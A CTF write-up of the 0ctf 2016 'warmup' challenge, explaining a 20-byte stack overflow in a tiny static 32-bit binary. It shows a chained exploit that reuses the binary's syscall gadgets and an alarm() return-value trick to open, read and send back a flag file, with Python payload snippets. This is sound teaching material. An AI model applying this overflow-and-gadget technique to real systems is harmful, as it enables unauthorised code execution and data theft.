0ctf 2016 - Warmup write-up

hugsy 14 March 2016

Reading time: 6 min

I participated to 0ctf but only had time to play for the reversing challenge trace (write-up coming up soon) during the competition time.

I did this challenge only for fun after the CTF was over so I do not know the flag, and since I found it interesting, I decided to write a quick write-up.

And kudos to all teams who solved it !

Info

gef➤  !file ./warmup
./warmup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, BuildID[sha1]=c1791030f336fcc9cda1da8dc3a3f8a70d930a11, stripped
gef➤  checksec warmup
[+] checksec for 'warmup'
Canary:                                           No
NX Support:                                       Yes
PIE Support:                                      No
RPATH:                                            No
RUNPATH:                                          No
Partial RelRO:                                    No
Full RelRO:                                       No

Pretty stripped down file, very small (which seemed weird for a statically linked file). Stack canary and PIE are not on, but NX is.

Vulnerability

The binary is really small, does not do much either, so the vulnerability is quite easy to find and trigger.

vuln

At 0x08048174, We have a read(socket, buffer, 52) where buffer can only contain 32 bytes, so we have a classic stack overflow. A part of the challenge is however due to the fact that our controlled part is quite limited (i.e. 52-32=20 bytes=5 DWORD).

Exploitation

In addition to not having a lot of gadgets (the source was written in pure assembly), no libc, etc. 0ctf organizers added that

notice: This service is protected by a sandbox, you can only read the flag at /home/warmup/flag

Meaning: we cannot simply write /bin/sh somewhere in memory, set eax to 11 and simply use a gadget to set ebx, ecx, edx to value loaded from the stack. We have to go all the way to open, read, write back the value of the flag located in /home/warmup/flag.

This lead to a much funkier way to exploit.

Objective

The objective here seems pretty straight forward. We need to :

  1. Write /tmp/flag in a predictable and writable location ( anywhere in the .data section will do just fine).
  2. Forge a sys_open(flag, RWX) gadget
  3. Forge a sys_read(fd, another_writeable_location, 50) gadget
  4. Forge a sys_write(socket, another_writeable_location, 50)

And it is done! In theory it seems pretty easy, but it took me a few hours (never underestimate a challenge ☺).

Interesting gadgets

What the binary provides us with are gadgets to read and write:

--read
.text:0804811D                 mov     eax, 3
.text:08048122                 mov     ebx, [esp+fd]   ; fd
.text:08048126                 mov     ecx, [esp+addr] ; addr
.text:0804812A                 mov     edx, [esp+len]  ; len
.text:0804812E                 int     80h             ; LINUX - sys_read

--write
.text:08048135                 mov     eax, 4
.text:0804813A                 mov     ebx, [esp+fd]   ; fd
.text:0804813E                 mov     ecx, [esp+addr] ; addr
.text:08048142                 mov     edx, [esp+len]  ; len
.text:08048146                 int     80h             ; LINUX - sys_write

Where the arguments are read from the limited stack we control.

However, we do not have an sys_open gadget, but since we can control ebx from the stack, all we need is to find a way to set eax to 5

My original intention was to force a call to sys_read from our socket, and send 5 bytes of junk data so that the syscall can return with the right value in eax. Unfortunately, we do not have enough space in our stack to chain correctly our read arguments, then jump into it and finally jump back to our next gadget ☹ .

After quite some time, I realized that warmup starts by initializing an alarm for 10 seconds (which when SIGALRM is received, will kill the program).

.text:0804810D                 mov     eax, 27
.text:08048112                 mov     ebx, [esp+seconds] ; seconds
.text:08048116                 int     80h             ; LINUX - sys_alarm

Nevertheless, this could be valuable to us, because RTFM:

  alarm()  returns  the number of seconds remaining until any previously
  scheduled alarm was due to be delivered, or zero if there was no
  previously scheduled alarm.

That means that if we jump a second time into the gadget @0x0804810D (i.e. call alarm() a second time), eax will be populated with whatever time is left before SIGALRM is issued! And since alarm() can take any integer as argument, our syscall will not return as an error! So by sleeping 5 seconds, sys_alarm will return with eax set to NR_sys_open (5), and we can use the stack to populate the other registers required for sys_open!

Attack

Again, because of our limited space in the stack, we need to trigger the vulnerability multiple times. To do, we have to perform only one operation, then return to the original function (0x0804815A), and let the control flow repeat again until it re-hit our vulnerability.

So let’s go back to the steps we set in the Objective part for the exploitation part:

Writing /tmp/flag in a predictable and writable location can be done with the following gadgets:

    p = "A"*32
    p+= i_s(sys_read)
    p+= i_s(ret_to_orginal_function) # ret back to vuln function
    p+= i_s(0) # fd
    p+= i_s(writable_addr) # addr
    p+= i_s(len(flag_path)) # len
    s.write(p)
    s.read_until("Good Luck!\n")

Now we have to sleep !! ☺

    time.sleep(5)

Now we can send our second payload, to call alarm, setting eax to NR_sys_open, and append the other arguments:

    p = "A"*32
    p+= i_s(sys_alarm)
    p+= i_s(set_ebx_ecx_edx_int80)
    p+= i_s(ret_to_orginal_function)
    p+= i_s(writable_addr)
    p+= i_s(7) # READ|WRITE|EXECUTE
    s.write(p)
    s.read_until("Good Luck!\n")

We have now a file descriptor open to our flag file! Let’s read its content:

    p = "A"*32
    p+= i_s(sys_read)
    p+= i_s(ret_to_orginal_function)
    p+= i_s(5) # file_fd
    p+= i_s(writable_addr2)
    p+= i_s(20)
    s.write(p)
    s.read_until("Good Luck!\n")

… And write it back to our socket (and exit cleanly, just because):

    p = "A"*32
    p+= i_s(sys_write)
    p+= i_s(sys_exit)
    p+= i_s(1) # fd stdout
    p+= i_s(writable_addr2)
    p+= i_s(20)
    s.write(p)

This write-up does not give justice to the challenge, making it look easy. But it was not. I really like how you are made to create really inventive and neat technique for subverting existing calls to set up the structure the exact way you want it.

For those who want, the full exploit script is here. But again, it was not tested against the game server.

Another good lesson to pay attention to details…